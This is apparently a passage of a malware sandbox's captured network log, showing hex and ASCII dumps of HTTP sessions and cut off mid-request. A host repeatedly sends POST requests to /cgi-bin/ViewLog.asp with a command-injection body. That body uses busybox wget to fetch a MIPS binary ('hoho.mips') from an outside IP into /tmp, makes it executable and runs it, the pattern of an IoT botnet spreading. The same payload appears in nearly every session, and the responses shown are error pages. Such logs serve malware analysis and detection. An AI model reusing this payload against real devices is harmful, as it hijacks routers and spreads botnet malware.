30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20
                                                Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                722192.168.2.155147285.69.23.2068080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.057408094 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.608432055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.728411913 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.064325094 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.672228098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:04.632075071 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                723192.168.2.154036231.172.72.2228080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.058955908 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.258164883 CET647INHTTP/1.1 404
                                                Vary: Origin
                                                Vary: Access-Control-Request-Method
                                                Vary: Access-Control-Request-Headers
                                                X-Content-Type-Options: nosniff
                                                X-XSS-Protection: 1; mode=block
                                                Cache-Control: no-cache, no-store, max-age=0, must-revalidate
                                                Pragma: no-cache
                                                Expires: 0
                                                Content-Disposition: inline;filename=f.txt
                                                Content-Type: application/json
                                                Transfer-Encoding: chunked
                                                Date: Thu, 23 Nov 2023 04:22:47 GMT
                                                Keep-Alive: timeout=60
                                                Connection: keep-alive
                                                Data Raw: 37 39 0d 0a 7b 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 33 2d 31 31 2d 32 33 54 30 34 3a 32 32 3a 34 37 2e 31 35 39 2b 30 30 3a 30 30 22 2c 22 73 74 61 74 75 73 22 3a 34 30 34 2c 22 65 72 72 6f 72 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 22 2c 22 70 61 74 68 22 3a 22 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 7d 0d 0a
                                                Data Ascii: 79{"timestamp":"2023-11-23T04:22:47.159+00:00","status":404,"error":"Not Found","message":"","path":"/cgi-bin/ViewLog.asp"}


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                724192.168.2.154764062.240.154.1678080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.098514080 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.320597887 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                725192.168.2.153434485.10.200.2308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.251722097 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.439994097 CET261INHTTP/1.1 404 Not Found
                                                Content-Type: text/plain; charset=utf-8
                                                X-Content-Type-Options: nosniff
                                                Date: Thu, 23 Nov 2023 04:22:47 GMT
                                                Content-Length: 19
                                                Connection: close
                                                Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a
                                                Data Ascii: 404 page not found


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                726192.168.2.155527285.247.95.2378080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.433027983 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                727192.168.2.155899431.136.39.738080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.440845966 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.024418116 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.176394939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.576363087 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:56.184201956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:05.399974108 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                728192.168.2.155820294.122.85.2168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.451265097 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                729192.168.2.153742285.10.146.1098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.612512112 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.846048117 CET680INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:22:46 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                730192.168.2.154366094.122.16.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.662338972 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                731192.168.2.155832694.179.130.1188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.673569918 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                732192.168.2.155702862.29.8.768080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:47.674052000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
